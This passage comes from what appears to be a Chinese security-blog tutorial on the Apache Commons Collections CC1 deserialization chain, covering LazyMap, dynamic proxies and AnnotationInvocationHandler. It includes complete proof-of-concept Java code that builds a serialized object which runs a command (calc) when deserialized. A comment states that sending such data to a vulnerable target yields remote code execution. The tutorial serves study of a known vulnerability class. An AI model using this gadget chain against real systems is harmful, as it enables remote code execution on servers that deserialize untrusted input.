? ?constructor.setAccessible(true); ? ? ? ?InvocationHandler obj = (InvocationHandler) constructor.newInstance(Target.class,map); ? ? ? ?// 反射取出AnnotationInvocationHandler的構(gòu)造器 ?, 實(shí)例化并放入我們的map ? ? ? ?// Target就是上面所說的 ?實(shí)現(xiàn)Annotation接口的類 ? ? ? ? ? ? ? ?/* 序列化中 */ ? ? ? ?ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream(); ? ? ? ?ObjectOutputStream objectOutputStream = new ObjectOutputStream(byteArrayOutputStream); ? ? ? ?objectOutputStream.writeObject(obj); ? ? ? ?objectOutputStream.close(); ? ? ? ?/* 序列化完畢 */ ? ? ? ? ? ? ? ?System.out.println(byteArrayOutputStream);//輸出一下序列化的數(shù)據(jù) ? ? ? ? ? ? ? ?/* 反序列化中 */ ? ? ? ?ObjectInputStream objectInputStream = new ObjectInputStream(new ByteArrayInputStream(byteArrayOutputStream.toByteArray())); ? ? ? ?Object o = ?objectInputStream.readObject(); ? ? ? ?/* 反序列化完畢 ?執(zhí)行了calc命令 */ ? ? ? ?/* 也就是說目標(biāo)機(jī)器有相關(guān)組件且版本對(duì)應(yīng)的情況下,我們只要把序列化的數(shù)據(jù)傳過去,對(duì)方objectInputStream.readObject()就能RCE */ ? ?} }運(yùn)行截圖:

LazyMap 類 (Common Collection 包)
照例先看一下構(gòu)造函數(shù):
protected LazyMap(Map map, Factory factory) { ? ? ? ?super(map); ? ? ? ?if (factory == null) { ? ? ? ? ? ?throw new IllegalArgumentException("Factory must not be null"); ? ? ? ?} ? ? ? ?this.factory = FactoryTransformer.getInstance(factory); }又是protected權(quán)限的,然后又提供了靜態(tài)方法可以獲取 , 很好啊 又是靜態(tài)工廠方法
也是將一個(gè)map用Transformer修飾,這個(gè)Transformer就可以將transformerChain傳進(jìn)去當(dāng)成員變量factory
public static Map decorate(Map map, Transformer factory) { ? ? ? ?return new LazyMap(map, factory); }再看一下,調(diào)用transform的get方法 , 會(huì)執(zhí)行factory.transform()
public Object get(Object key) { ? ? ? ?// create value for key if key is not currently in the map ? ? ? ?if (map.containsKey(key) == false) { ? ? ? ? ? ?Object value = factory.transform(key); ? ? ? ? ? ?map.put(key, value); ? ? ? ? ? ?return value; ? ? ? ?} ? ? ? ?return map.get(key); }能看出來LazyMap 的作用是“懶加載”,在get找不到值的時(shí)候,它會(huì)調(diào)用 factory.transform 方法去獲取一個(gè)值
那我們構(gòu)造一下,執(zhí)行g(shù)et方法

繼續(xù)關(guān)聯(lián)到上面說的CC1鏈入口類AnnotationInvocationHandler,在其invoke方法switch的默認(rèn)步驟里就有使用memberValues.get

說到invoke方法這里需要引入proxy的動(dòng)態(tài)代理
動(dòng)態(tài)代理
在java的java.lang.reflect包下提供了一個(gè)Proxy類和一個(gè)InvocationHandler接口,通過這個(gè)類和這個(gè)接口可以生成JDK動(dòng)態(tài)代理類和動(dòng)態(tài)代理對(duì)象。
這塊我引用一下P神的講解
Map proxyMap = (Map) Proxy.newProxyInstance(Map.class.getClassLoader(), new Class[] {Map.class}, handler);Proxy.newProxyInstance 的第一個(gè)參數(shù)是ClassLoader,我們用默認(rèn)的即可;第二個(gè)參數(shù)是我們需要 代理的對(duì)象集合;第三個(gè)參數(shù)是一個(gè)實(shí)現(xiàn)了InvocationHandler接口的對(duì)象,里面包含了具體代理的邏輯。比如,我們寫這樣一個(gè)類ExampleInvocationHandler:
package org.vulhub.Ser;import java.lang.reflect.InvocationHandler;import java.lang.reflect.Method;import java.util.Map;public class ExampleInvocationHandler implements InvocationHandler { protected Map map; public ExampleInvocationHandler(Map map) { this.map = map; } @Override public Object invoke(Object proxy, Method method, Object[] args) throws Throwable { if (method.getName().compareTo("get") == 0) { System.out.println("Hook method: " + method.getName()); return "Hacked Object"; } return method.invoke(this.map, args); } }ExampleInvocationHandler類實(shí)現(xiàn)了invoke方法,作用是在監(jiān)控到調(diào)用的方法名是get的時(shí)候,返回一 個(gè)特殊字符串 Hacked Object 。在外部調(diào)用這個(gè)ExampleInvocationHandler:
package org.vulhub.Ser;import java.lang.reflect.InvocationHandler;import java.lang.reflect.Proxy;import java.util.HashMap;import java.util.Map;public class App { public static void main(String[] args) throws Exception { InvocationHandler handler = new ExampleInvocationHandler(new HashMap()); Map proxyMap = (Map)Proxy.newProxyInstance(Map.class.getClassLoader(), new Class[] {Map.class}, handler); proxyMap.put("hello", "world"); String result = (String) proxyMap.get("hello"); System.out.println(result); } }運(yùn)行App,我們可以發(fā)現(xiàn),雖然我向Map放入的hello值為world,但我們獲取到的結(jié)果卻是 Hacked Object

我們回看 AnnotationInvocationHandler ,會(huì)發(fā)現(xiàn)實(shí)際上這個(gè)類實(shí)際就是一個(gè)InvocationHandler,我們?nèi)绻麑⑦@個(gè)對(duì)象用Proxy進(jìn)行代理,那么在readObject的時(shí)候,只要調(diào)用任意方法,就會(huì)進(jìn)入到 AnnotationInvocationHandler.invoke()方法中,進(jìn)而觸發(fā)我們的 LazyMap.get()方法
構(gòu)造 LazyMap + AnnotationInvocationHandler 的CC1鏈POC
精簡(jiǎn)的鏈步驟如下:
AnnotationInvocationHandler.readObject() ——> 對(duì)Map的任意操作會(huì)進(jìn)入AnnotationInvocationHandler.invoke()
AnnotationInvocationHandler.invoke() ——> LazyMap.get()
LazyMap.get() ——> ChainedTransformer.transform()
ChainedTransformer.transform() ——> ConstantTransformer 和 InvokerTransformer 的 transform()
POC代碼:
package top.meta;import org.apache.commons.collections.Transformer;import org.apache.commons.collections.functors.ChainedTransformer;import org.apache.commons.collections.functors.ConstantTransformer;import org.apache.commons.collections.functors.InvokerTransformer;import org.apache.commons.collections.map.LazyMap;import java.io.*;import java.lang.annotation.Inherited;import java.lang.annotation.Native;import java.lang.reflect.Constructor;import java.lang.reflect.InvocationHandler;import java.lang.reflect.InvocationTargetException;import java.lang.reflect.Proxy;import java.util.HashMap;import java.util.Map;/** * @author taamr * @create 2022-04-2814:21 */public class CC1 { ? ?public static void main(String[] args) throws ClassNotFoundException, NoSuchMethodException, InvocationTargetException, InstantiationException, IllegalAccessException, IOException { ? ? ? ?Transformer[] transformers = new Transformer[]{ ? ? ? ? ? ? ? ?new ConstantTransformer(Runtime.class), ? ? ? ? ? ? ? ?new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}), ? ? ? ? ? ? ? ?new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}), ? ? ? ? ? ? ? ?new InvokerTransformer("exec",new Class[]{String.class},new String[]{"calc"}), ? ? ? ?}; ? ? ? ?Transformer transformerChain = new ChainedTransformer(transformers); ? ? ? ?Map x = new HashMap<>(); ? ? ? ?Map map = LazyMap.decorate(x,transformerChain); ? ? ? ?Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler"); ? ? ? ?Constructor constructor = clazz.getDeclaredConstructor(Class.class,Map.class); ? ? ? ?constructor.setAccessible(true); ? ? ? ?InvocationHandler invocationHandler = (InvocationHandler) constructor.newInstance(Native.class,map); ? ? ? ?// 反射取出AnnotationInvocationHandler的構(gòu)造器 ?, 實(shí)例化invocationHandler ? ? ? ?// 因?yàn)槭莍nvoke()觸發(fā),不需要讓var7非空, 所以上面實(shí)現(xiàn)Annotation接口的注解類里的6個(gè)用哪個(gè)都行 ? ? ? ?Map proxyMap = (Map) Proxy.newProxyInstance(Map.class.getClassLoader(),new Class[]{Map.class},invocationHandler); ? ? ? ?// 用invocationHandler 代理map類 , 獲取被invocationHandler代理的proxyMap ? ? ? ?Object obj = constructor.newInstance(Inherited.class,proxyMap); ? ? ? ?// 再用AnnotationInvocationHandler修飾一下proxyMap 因?yàn)槿肟谑茿nnotationInvocationHandler.readObject ? ? ? ?/* 序列化中 */ ? ? ? ?ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream(); ? ? ? ?ObjectOutputStream objectOutputStream = new ObjectOutputStream(byteArrayOutputStream); ? ? ? ?objectOutputStream.writeObject(obj); ? ? ? ?objectOutputStream.close(); ? ? ? ?/* 序列化完畢 */ ? ? ? ?System.out.println(byteArrayOutputStream);//輸出一下序列化的數(shù)據(jù) ? ? ? ?/* 反序列化中 */ ? ? ? ?ObjectInputStream objectInputStream = new ObjectInputStream(new ByteArrayInputStream(byteArrayOutputStream.toByteArray())); ? ? ? ?Object o = ?objectInputStream.readObject(); ? ? ? ?/* 反序列化完畢 ?執(zhí)行了calc命令 */ ? ?} }Ysoserial中的CC1鏈
先放個(gè)截圖:

能看出來Ysoserial 是用 LazyMap + AnnotationInvocationHandler 那條鏈的,而且執(zhí)行上述我們自己的LazyMap的POC時(shí)有時(shí)會(huì)彈出兩個(gè)計(jì)算器,是因?yàn)槲覀兇眍惖臅r(shí)候,已經(jīng)將惡意transformers數(shù)組放進(jìn)去了,所以在后面再修飾、或者進(jìn)行其他操作時(shí)有對(duì)map的操作都會(huì)執(zhí)行一次(我調(diào)試的時(shí)候有一次彈了4個(gè))。Ysoserial中很好的把這個(gè)問題解決了,就是等一切操作完成后再用反射把對(duì)應(yīng)的transformers數(shù)組替換。這里大家可以在剛剛的POC基礎(chǔ)上自己試一試。寫URLDNS鏈的時(shí)候我就弄過一次。
然后transformers數(shù)組中最后一個(gè)ConstantTransformer(1) ,據(jù)p牛所說,是在隱藏日志里的特征信息,因?yàn)檎azyMap的POC會(huì)報(bào)java.lang.ProcessImpl cannot be cast to java.util.Set , 而Ysoserial會(huì)報(bào)java.lang.Integer cannot be cast to java.util.Set 。
實(shí)際上,我想了很久,TransformedMap 和 LazyMap 兩條鏈的不同之處,只在于觸發(fā)點(diǎn)不一樣,一個(gè)在setValue , 一個(gè)在get ,當(dāng)然中間也有很多不一樣 , 但是可利用性方面是一樣的。所以我覺得可能也只是 Gabriel Lawrence 和 Chris Frohoff 更喜歡LazyMap所以用的LazyMap , 這塊就求大佬指點(diǎn)了
總結(jié)
如果有很認(rèn)真的萌新同學(xué)、或者剛了解的童鞋,一步一步看到這,肯定對(duì)java反序列化漏洞有了一個(gè)大方向上的認(rèn)識(shí)、概念,已經(jīng)可以靠自身去看更多的鏈,甚至魔改鏈、魔改Ysoserial、自己找鏈。自己能找到鏈肯定是最好的,畢竟一個(gè)CVE啊 哈哈哈哈 菜雞大笑,終于寫完了 。( 放個(gè)屁:不過我得一直學(xué)別人做過的東西到啥時(shí)候呀,啥時(shí)候才能自己有新的東西)
最后,由衷地感謝讀到這里的每位朋友。
團(tuán)隊(duì)博客:www.meta-sec.top
